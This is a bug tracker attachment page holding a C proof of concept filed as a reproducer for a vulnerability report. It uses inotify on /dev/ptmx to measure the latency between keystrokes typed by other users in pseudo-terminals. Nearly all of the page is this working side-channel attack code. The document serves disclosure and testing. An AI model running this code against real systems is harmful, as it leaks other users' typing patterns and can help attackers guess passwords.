Attachment 674721 Details for Bug 892983 – Local copy of the reproducer to determine keystroke latency

Local copy of the reproducer to determine keystroke latency

ptmx-keystroke-latency.c (text/plain), 1.66 KB, created by Jan Lieskovsky on 2013-01-08 11:13:02 UTC

(hide)

Description:

Filename:

MIME Type:

Creator: Jan Lieskovsky

Created: 2013-01-08 11:13:02 UTC

Size: 1.66 KB

patch

obsolete

>/* This PoC discloses latency between keystrokes thanks to /dev/ptmx.
>
>   Compile: cc ptmx-keystroke-latency.c -o ptmx-keystroke-latency
>   Usage:   ./ptmx-keystroke-latency
>
>   Tested on Debian 6.0.5 (kernel 2.6.32-5-amd64).
>
>   For more information: http://vladz.devzero.fr/013_ptmx-timing.php
>   -----------------------------------------------------------------------
>   "THE BEER-WARE LICENSE" (Revision 42):
>   <vladz@devzero.fr> wrote this file. As long as you retain this notice
>   you can do whatever you want with this stuff. If we meet some day, and
>   you think this stuff is worth it, you can buy me a beer in return. -V.
>*/
>
>#include <sys/inotify.h>
>#include <unistd.h>
>#include <stdio.h>
>#include <time.h>
>#include <sys/time.h>
>#include <stdlib.h>
>
>
>void show_time_info(struct timeval *x, struct timeval *y) {
>
>  struct tm *st_tm;
>  char   *time_str;
>  long   delta;
>
>  st_tm = localtime(&y->tv_sec);
>
>  time_str = malloc(9);
>  sprintf(time_str, "%s%d:%s%d:%s%d",
>    st_tm->tm_hour < 10 ? "0" : "", st_tm->tm_hour,
>    st_tm->tm_min  < 10 ? "0" : "", st_tm->tm_min,
>    st_tm->tm_sec  < 10 ? "0" : "", st_tm->tm_sec);
>
>  delta  = (y->tv_sec  - x->tv_sec ) * 1000;
>  delta += (y->tv_usec - x->tv_usec) / 1000;
>
>  printf("%s (+%ld ms)\n", time_str, delta);
>}
>
>int main() {
>
>  int fd;
>  struct timeval start, finish;
>  char buf[1024];
>
>  printf("[+] PoC to disclose latency between keystrokes\n");
>  printf("[+] Wait for someone to type in a PTY\n");
>
>  fd = inotify_init();
>  inotify_add_watch(fd, "/dev/ptmx", IN_MODIFY);
>
>  for(;;) {
>
>    gettimeofday(&start, NULL);
>    read(fd, buf, 1024);
>    gettimeofday(&finish, NULL);
>
>    show_time_info(&start, &finish);
>  }
>
>  return 0;
>}

Actions: View

Attachments on bug 892983: 674721 | 674722